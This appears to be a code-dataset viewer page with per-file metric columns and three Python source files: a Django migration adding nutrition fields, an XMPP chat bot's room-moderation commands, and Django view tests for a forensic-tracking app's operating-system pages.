| 0.714286
| 0
| 0.07722
| 0.322975
| 0.160121
| 0
| 0
| 0
| 0
| 0.3861
| 1
| 0.019305
| false
| 0
| 0.027027
| 0
| 0.057915
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6ca5cab491c4aa3bbd0c43cff3e3e0a99c7a07d2
| 1,461
|
py
|
Python
|
rest_api/migrations/0003_auto_20200414_0854.py
|
MyLifeUa/rest-api
|
acf7c6fefdc3cfd90a9ba5a1a1be3d5dae3c90ba
|
[
"MIT"
] | null | null | null |
rest_api/migrations/0003_auto_20200414_0854.py
|
MyLifeUa/rest-api
|
acf7c6fefdc3cfd90a9ba5a1a1be3d5dae3c90ba
|
[
"MIT"
] | 2
|
2021-03-26T09:16:51.000Z
|
2021-03-26T09:17:07.000Z
|
rest_api/migrations/0003_auto_20200414_0854.py
|
my-life-ua/rest-api
|
acf7c6fefdc3cfd90a9ba5a1a1be3d5dae3c90ba
|
[
"MIT"
] | null | null | null |
# Generated by Django 3.0.4 on 2020-04-14 08:54
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('rest_api', '0002_auto_20200331_0925'),
]
operations = [
migrations.AddField(
model_name='mealhistory',
name='calories',
field=models.FloatField(default=0),
),
migrations.AddField(
model_name='mealhistory',
name='carbs',
field=models.FloatField(default=0),
),
migrations.AddField(
model_name='mealhistory',
name='fat',
field=models.FloatField(default=0),
),
migrations.AddField(
model_name='mealhistory',
name='proteins',
field=models.FloatField(default=0),
),
migrations.AlterField(
model_name='ingredient',
name='calories',
field=models.FloatField(default=0),
),
migrations.AlterField(
model_name='ingredient',
name='carbs',
field=models.FloatField(default=0),
),
migrations.AlterField(
model_name='ingredient',
name='fat',
field=models.FloatField(default=0),
),
migrations.AlterField(
model_name='ingredient',
name='proteins',
field=models.FloatField(default=0),
),
]
| 27.566038
| 48
| 0.53525
| 126
| 1,461
| 6.111111
| 0.31746
| 0.093506
| 0.218182
| 0.290909
| 0.805195
| 0.805195
| 0.755844
| 0.697403
| 0.650649
| 0.650649
| 0
| 0.040966
| 0.348392
| 1,461
| 52
| 49
| 28.096154
| 0.767857
| 0.030801
| 0
| 0.851064
| 1
| 0
| 0.115276
| 0.016266
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.021277
| 0
| 0.085106
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
9fb0519e22d8927ccee3c2ff5fca78ed1407e0ac
| 11,538
|
py
|
Python
|
expansions/muc/code.py
|
croot/blacksmith-2
|
3bb544139a18184a709ca7668f8e69f3ca361475
|
[
"Apache-2.0"
] | null | null | null |
expansions/muc/code.py
|
croot/blacksmith-2
|
3bb544139a18184a709ca7668f8e69f3ca361475
|
[
"Apache-2.0"
] | null | null | null |
expansions/muc/code.py
|
croot/blacksmith-2
|
3bb544139a18184a709ca7668f8e69f3ca361475
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
# BlackSmith mark.2
# exp_name = "muc" # /code.py v.x9
# Id: 05~5c
# Code © (2009-2012) by WitcherGeralt [alkorgun@gmail.com]
class expansion_temp(expansion):
def __init__(self, name):
expansion.__init__(self, name)
def command_subject(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
Chat = Chats[source[1]]
if Chat.isModer or getattr(Chat.get_user(Chat.nick), "role", (None,)*2)[1] == aRoles[9]:
Chat.subject(body)
else:
answer = self.AnsBase[1]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
if locals().has_key(sBase[6]):
Answer(answer, stype, source, disp)
sep = chr(47)
def command_ban(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
if Chats[source[1]].isModer:
if enough_access(source[1], source[2], 6) or getattr(Chats[source[1]].get_user(get_nick(source[1])), "role", (aRoles[5],))[0] != aRoles[5]:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
jid = get_source(source[1], nick)
elif nick.count(chr(46)):
jid = nick
else:
jid = None
if jid and not enough_access(jid, None, 7) and jid != get_disp(disp):
if body:
body = "%s: %s" % (source[2], body[0].strip())
else:
body = "%s/%s" % (get_nick(source[1]), source[2])
Chats[source[1]].outcast(jid, body, (None, (stype, source)))
else:
answer = AnsBase[7]
else:
answer = self.AnsBase[0]
else:
answer = self.AnsBase[1]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
if locals().has_key(sBase[6]):
Answer(answer, stype, source, disp)
def command_none(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
if Chats[source[1]].isModer:
if enough_access(source[1], source[2], 6) or getattr(Chats[source[1]].get_user(get_nick(source[1])), "role", (aRoles[5],))[0] != aRoles[5]:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
jid = get_source(source[1], nick)
elif nick.count(chr(46)):
jid = nick
else:
jid = None
if jid:
if body:
body = "%s: %s" % (source[2], body[0].strip())
else:
body = "%s/%s" % (get_nick(source[1]), source[2])
Chats[source[1]].none(jid, body, (None, (stype, source)))
else:
answer = AnsBase[7]
else:
answer = self.AnsBase[0]
else:
answer = self.AnsBase[1]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
if locals().has_key(sBase[6]):
Answer(answer, stype, source, disp)
def command_member(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
if Chats[source[1]].isModer:
if enough_access(source[1], source[2], 6) or getattr(Chats[source[1]].get_user(get_nick(source[1])), "role", (aRoles[5],))[0] != aRoles[5]:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
jid = get_source(source[1], nick)
elif nick.count(chr(46)):
jid = nick
else:
jid = None
if jid:
if body:
body = "%s: %s" % (source[2], body[0].strip())
else:
body = "%s/%s" % (get_nick(source[1]), source[2])
Chats[source[1]].member(jid, body, (None, (stype, source)))
else:
answer = AnsBase[7]
else:
answer = self.AnsBase[0]
else:
answer = self.AnsBase[1]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
if locals().has_key(sBase[6]):
Answer(answer, stype, source, disp)
def command_admin(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
if getattr(Chats[source[1]].get_user(get_nick(source[1])), "role", (aRoles[5],))[0] == aRoles[5]:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
jid = get_source(source[1], nick)
elif nick.count(chr(46)):
jid = nick
else:
jid = None
if jid:
if body:
body = "%s: %s" % (source[2], body[0].strip())
else:
body = "%s/%s" % (get_nick(source[1]), source[2])
Chats[source[1]].admin(jid, body, (None, (stype, source)))
else:
answer = AnsBase[7]
else:
answer = self.AnsBase[1]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
if locals().has_key(sBase[6]):
Answer(answer, stype, source, disp)
def command_owner(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
if getattr(Chats[source[1]].get_user(get_nick(source[1])), "role", (aRoles[5],))[0] == aRoles[5]:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
jid = get_source(source[1], nick)
elif nick.count(chr(46)):
jid = nick
else:
jid = None
if jid:
if body:
body = "%s: %s" % (source[2], body[0].strip())
else:
body = "%s/%s" % (get_nick(source[1]), source[2])
Chats[source[1]].owner(jid, body, (None, (stype, source)))
else:
answer = AnsBase[7]
else:
answer = self.AnsBase[1]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
if locals().has_key(sBase[6]):
Answer(answer, stype, source, disp)
def command_kick(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
aRole = getattr(Chats[source[1]].get_user(get_nick(source[1])), "role", (aRoles[5], None))
if Chats[source[1]].isModer or aRole[1] == aRoles[9]:
if enough_access(source[1], source[2], 6) or aRole[0] != aRoles[5]:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
jid = get_source(source[1], nick)
else:
jid, nick = None, None
if nick and jid and not enough_access(jid, None, 7) and jid != get_disp(disp):
if body:
body = "%s: %s" % (source[2], body[0].strip())
else:
body = "%s/%s" % (get_nick(source[1]), source[2])
Chats[source[1]].kick(nick, body, (None, (stype, source)))
else:
answer = AnsBase[7]
else:
answer = self.AnsBase[0]
else:
answer = self.AnsBase[1]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
if locals().has_key(sBase[6]):
Answer(answer, stype, source, disp)
def command_visitor(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
aRole = getattr(Chats[source[1]].get_user(get_nick(source[1])), "role", (aRoles[5], None))
if Chats[source[1]].isModer or aRole[1] == aRoles[9]:
if enough_access(source[1], source[2], 6) or aRole[0] != aRoles[5]:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
jid = get_source(source[1], nick)
else:
jid, nick = None, None
if nick and jid and not enough_access(jid, None, 7) and jid != get_disp(disp):
if body:
body = "%s: %s" % (source[2], body[0].strip())
else:
body = "%s/%s" % (get_nick(source[1]), source[2])
Chats[source[1]].visitor(nick, body, (None, (stype, source)))
else:
answer = AnsBase[7]
else:
answer = self.AnsBase[0]
else:
answer = self.AnsBase[1]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
if locals().has_key(sBase[6]):
Answer(answer, stype, source, disp)
def command_participant(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
aRole = getattr(Chats[source[1]].get_user(get_nick(source[1])), "role", (aRoles[5], None))
if Chats[source[1]].isModer or aRole[1] == aRoles[9]:
if enough_access(source[1], source[2], 6) or aRole[0] != aRoles[5]:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
if body:
body = "%s: %s" % (source[2], body[0].strip())
else:
body = "%s/%s" % (get_nick(source[1]), source[2])
Chats[source[1]].participant(nick, body, (None, (stype, source)))
else:
answer = AnsBase[7]
else:
answer = self.AnsBase[0]
else:
answer = self.AnsBase[1]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
if locals().has_key(sBase[6]):
Answer(answer, stype, source, disp)
def command_moder(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
if Chats[source[1]].isModer:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
if body:
body = "%s: %s" % (source[2], body[0].strip())
else:
body = "%s/%s" % (get_nick(source[1]), source[2])
Chats[source[1]].moder(nick, body, (None, (stype, source)))
else:
answer = AnsBase[7]
else:
answer = self.AnsBase[1]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
if locals().has_key(sBase[6]):
Answer(answer, stype, source, disp)
PerfDesc = {"done": 0, "fail": 0}
def HandleFB(self, disp, stanza, desc):
if xmpp.isResultNode(stanza):
desc["done"] += 1
else:
desc["fail"] += 1
def calcPerformance(self, desc):
cl = len(Chats.keys())
for x in xrange(60):
sleep(0.2)
if cl <= sum(desc.values()):
break
sl = sum(desc.values())
if cl > sl:
desc["none"] = (cl - sl)
answer = self.AnsBase[2] % desc
elif desc["fail"]:
answer = self.AnsBase[3] % desc
else:
answer = self.AnsBase[4]
return answer
def command_fullban(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
jid = get_source(source[1], nick)
elif nick.count(chr(46)):
jid = nick
else:
jid = None
if nick and jid and not enough_access(jid, None, 7) and jid != get_disp(disp):
if body:
body = "%s: %s" % (source[2], body[0].strip())
else:
body = "%s/%s" % (get_nick(source[1]), source[2])
desc = self.PerfDesc.copy()
for conf in Chats.itervalues():
conf.outcast(jid, body, (self.HandleFB, {"desc": desc}))
answer = self.calcPerformance(desc)
else:
answer = AnsBase[7]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
Answer(answer, stype, source, disp)
def command_fullunban(self, stype, source, body, disp):
if Chats.has_key(source[1]):
if body:
body = body.split(self.sep, 1)
nick = (body.pop(0)).strip()
if Chats[source[1]].isHere(nick):
jid = get_source(source[1], nick)
elif nick.count(chr(46)):
jid = nick
else:
jid = None
if jid:
desc = self.PerfDesc.copy()
for conf in Chats.itervalues():
conf.none(jid, handler = (self.HandleFB, {"desc": desc}))
answer = self.calcPerformance(desc)
else:
answer = AnsBase[7]
else:
answer = AnsBase[1]
else:
answer = AnsBase[0]
Answer(answer, stype, source, disp)
commands = (
(command_subject, "subject", 3,),
(command_ban, "ban", 5,),
(command_none, "none", 5,),
(command_member, "member", 5,),
(command_admin, "admin", 6,),
(command_owner, "owner", 6,),
(command_kick, "kick", 3,),
(command_visitor, "visitor", 3,),
(command_participant, "participant", 3,),
(command_moder, "moder", 5,),
(command_fullban, "fullban", 7,),
(command_fullunban, "fullunban", 7,)
)
| 29.891192
| 144
| 0.58017
| 1,678
| 11,538
| 3.926698
| 0.070918
| 0.086053
| 0.065564
| 0.0601
| 0.850053
| 0.850053
| 0.850053
| 0.848535
| 0.848535
| 0.848535
| 0
| 0.033701
| 0.238776
| 11,538
| 385
| 145
| 29.968831
| 0.716384
| 0.011527
| 0
| 0.822222
| 0
| 0
| 0.022021
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.041667
| false
| 0
| 0
| 0
| 0.055556
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4c83d86dfb07e2a325dc16672559f62e1bf3c430
| 15,408
|
py
|
Python
|
dfirtrack_main/tests/os/test_os_views.py
|
thomas-kropeit/dfirtrack
|
b1e0e659af7bc8085cfe2d269ddc651f9f4ba585
|
[
"Apache-2.0"
] | 273
|
2018-04-18T22:09:15.000Z
|
2021-06-04T09:15:48.000Z
|
dfirtrack_main/tests/os/test_os_views.py
|
stuhli/dfirtrack
|
9260c91e4367b36d4cb1ae7efe4e2d2452f58e6e
|
[
"Apache-2.0"
] | 75
|
2018-08-31T11:05:37.000Z
|
2021-06-08T14:15:07.000Z
|
dfirtrack_main/tests/os/test_os_views.py
|
thomas-kropeit/dfirtrack
|
b1e0e659af7bc8085cfe2d269ddc651f9f4ba585
|
[
"Apache-2.0"
] | 61
|
2018-11-12T22:55:48.000Z
|
2021-06-06T15:16:16.000Z
|
import urllib.parse
from django.contrib.auth.models import User
from django.test import TestCase
from dfirtrack_main.models import Os
class OsViewTestCase(TestCase):
"""os view tests"""
@classmethod
def setUpTestData(cls):
# create object
Os.objects.create(os_name='os_1')
# create user
User.objects.create_user(
username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw'
)
def test_os_list_not_logged_in(self):
"""test list view"""
# create url
destination = '/login/?next=' + urllib.parse.quote('/os/', safe='')
# get response
response = self.client.get('/os/', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_os_list_logged_in(self):
"""test list view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/')
# compare
self.assertEqual(response.status_code, 200)
def test_os_list_template(self):
"""test list view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/')
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/os/os_list.html')
def test_os_list_get_user_context(self):
"""test list view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/')
# compare
self.assertEqual(str(response.context['user']), 'testuser_os')
def test_os_list_redirect(self):
"""test list view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create url
destination = urllib.parse.quote('/os/', safe='/')
# get response
response = self.client.get('/os', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=301, target_status_code=200
)
def test_os_detail_not_logged_in(self):
"""test detail view"""
# get object
os_1 = Os.objects.get(os_name='os_1')
# create url
destination = '/login/?next=' + urllib.parse.quote(
'/os/' + str(os_1.os_id) + '/', safe=''
)
# get response
response = self.client.get('/os/' + str(os_1.os_id) + '/', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_os_detail_logged_in(self):
"""test detail view"""
# get object
os_1 = Os.objects.get(os_name='os_1')
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/' + str(os_1.os_id) + '/')
# compare
self.assertEqual(response.status_code, 200)
def test_os_detail_template(self):
"""test detail view"""
# get object
os_1 = Os.objects.get(os_name='os_1')
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/' + str(os_1.os_id) + '/')
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/os/os_detail.html')
def test_os_detail_get_user_context(self):
"""test detail view"""
# get object
os_1 = Os.objects.get(os_name='os_1')
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/' + str(os_1.os_id) + '/')
# compare
self.assertEqual(str(response.context['user']), 'testuser_os')
def test_os_detail_redirect(self):
"""test detail view"""
# get object
os_1 = Os.objects.get(os_name='os_1')
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create url
destination = urllib.parse.quote('/os/' + str(os_1.os_id) + '/', safe='/')
# get response
response = self.client.get('/os/' + str(os_1.os_id), follow=True)
# compare
self.assertRedirects(
response, destination, status_code=301, target_status_code=200
)
def test_os_add_not_logged_in(self):
"""test add view"""
# create url
destination = '/login/?next=' + urllib.parse.quote('/os/add/', safe='')
# get response
response = self.client.get('/os/add/', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_os_add_logged_in(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/add/')
# compare
self.assertEqual(response.status_code, 200)
def test_os_add_template(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/add/')
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/generic_form.html')
def test_os_add_get_user_context(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/add/')
# compare
self.assertEqual(str(response.context['user']), 'testuser_os')
def test_os_add_redirect(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create url
destination = urllib.parse.quote('/os/add/', safe='/')
# get response
response = self.client.get('/os/add', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=301, target_status_code=200
)
def test_os_add_post_redirect(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create post data
data_dict = {
'os_name': 'os_add_post_test',
}
# get response
response = self.client.post('/os/add/', data_dict)
# get object
os_id = Os.objects.get(os_name='os_add_post_test').os_id
# create url
destination = urllib.parse.quote('/os/' + str(os_id) + '/', safe='/')
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_os_add_post_invalid_reload(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create post data
data_dict = {}
# get response
response = self.client.post('/os/add/', data_dict)
# compare
self.assertEqual(response.status_code, 200)
def test_os_add_post_invalid_template(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create post data
data_dict = {}
# get response
response = self.client.post('/os/add/', data_dict)
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/generic_form.html')
def test_os_add_popup_not_logged_in(self):
"""test add view"""
# create url
destination = '/login/?next=' + urllib.parse.quote('/os/add_popup/', safe='')
# get response
response = self.client.get('/os/add_popup/', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_os_add_popup_logged_in(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/add_popup/')
# compare
self.assertEqual(response.status_code, 200)
def test_os_add_popup_template(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/add_popup/')
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/generic_form_popup.html')
def test_os_add_popup_get_user_context(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/add_popup/')
# compare
self.assertEqual(str(response.context['user']), 'testuser_os')
def test_os_add_popup_redirect(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create url
destination = urllib.parse.quote('/os/add_popup/', safe='/')
# get response
response = self.client.get('/os/add_popup', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=301, target_status_code=200
)
def test_os_add_popup_post_redirect(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create post data
data_dict = {
'os_name': 'os_add_popup_post_test',
}
# get response
response = self.client.post('/os/add_popup/', data_dict)
# compare
self.assertEqual(response.status_code, 200)
def test_os_add_popup_post_invalid_reload(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create post data
data_dict = {}
# get response
response = self.client.post('/os/add_popup/', data_dict)
# compare
self.assertEqual(response.status_code, 200)
def test_os_add_popup_post_invalid_template(self):
"""test add view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create post data
data_dict = {}
# get response
response = self.client.post('/os/add_popup/', data_dict)
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/generic_form_popup.html')
def test_os_edit_not_logged_in(self):
"""test edit view"""
# get object
os_1 = Os.objects.get(os_name='os_1')
# create url
destination = '/login/?next=' + urllib.parse.quote(
'/os/' + str(os_1.os_id) + '/edit/', safe=''
)
# get response
response = self.client.get('/os/' + str(os_1.os_id) + '/edit/', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_os_edit_logged_in(self):
"""test edit view"""
# get object
os_1 = Os.objects.get(os_name='os_1')
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/' + str(os_1.os_id) + '/edit/')
# compare
self.assertEqual(response.status_code, 200)
def test_os_edit_template(self):
"""test edit view"""
# get object
os_1 = Os.objects.get(os_name='os_1')
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/' + str(os_1.os_id) + '/edit/')
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/generic_form.html')
def test_os_edit_get_user_context(self):
"""test edit view"""
# get object
os_1 = Os.objects.get(os_name='os_1')
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get response
response = self.client.get('/os/' + str(os_1.os_id) + '/edit/')
# compare
self.assertEqual(str(response.context['user']), 'testuser_os')
def test_os_edit_redirect(self):
"""test edit view"""
# get object
os_1 = Os.objects.get(os_name='os_1')
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create url
destination = urllib.parse.quote('/os/' + str(os_1.os_id) + '/edit/', safe='/')
# get response
response = self.client.get('/os/' + str(os_1.os_id) + '/edit', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=301, target_status_code=200
)
def test_os_edit_post_redirect(self):
"""test edit view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# create object
os_1 = Os.objects.create(os_name='os_edit_post_test_1')
# create post data
data_dict = {
'os_name': 'os_edit_post_test_2',
}
# get response
response = self.client.post('/os/' + str(os_1.os_id) + '/edit/', data_dict)
# get object
os_2 = Os.objects.get(os_name='os_edit_post_test_2')
# create url
destination = urllib.parse.quote('/os/' + str(os_2.os_id) + '/', safe='/')
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_os_edit_post_invalid_reload(self):
"""test edit view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get object
os_id = Os.objects.get(os_name='os_1').os_id
# create post data
data_dict = {}
# get response
response = self.client.post('/os/' + str(os_id) + '/edit/', data_dict)
# compare
self.assertEqual(response.status_code, 200)
def test_os_edit_post_invalid_template(self):
"""test edit view"""
# login testuser
self.client.login(username='testuser_os', password='n7hIWBsrGsG0n4mSjbfw')
# get object
os_id = Os.objects.get(os_name='os_1').os_id
# create post data
data_dict = {}
# get response
response = self.client.post('/os/' + str(os_id) + '/edit/', data_dict)
# compare
self.assertTemplateUsed(response, 'dfirtrack_main/generic_form.html')
| 33.715536
| 87
| 0.607736
| 1,778
| 15,408
| 5.050056
| 0.042182
| 0.070164
| 0.03408
| 0.087092
| 0.962691
| 0.94231
| 0.928723
| 0.922374
| 0.908119
| 0.889854
| 0
| 0.02061
| 0.26629
| 15,408
| 456
| 88
| 33.789474
| 0.77364
| 0.139278
| 0
| 0.561321
| 0
| 0
| 0.147854
| 0.022236
| 0
| 0
| 0
| 0
| 0.160377
| 1
| 0.165094
| false
| 0.141509
| 0.018868
| 0
| 0.188679
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.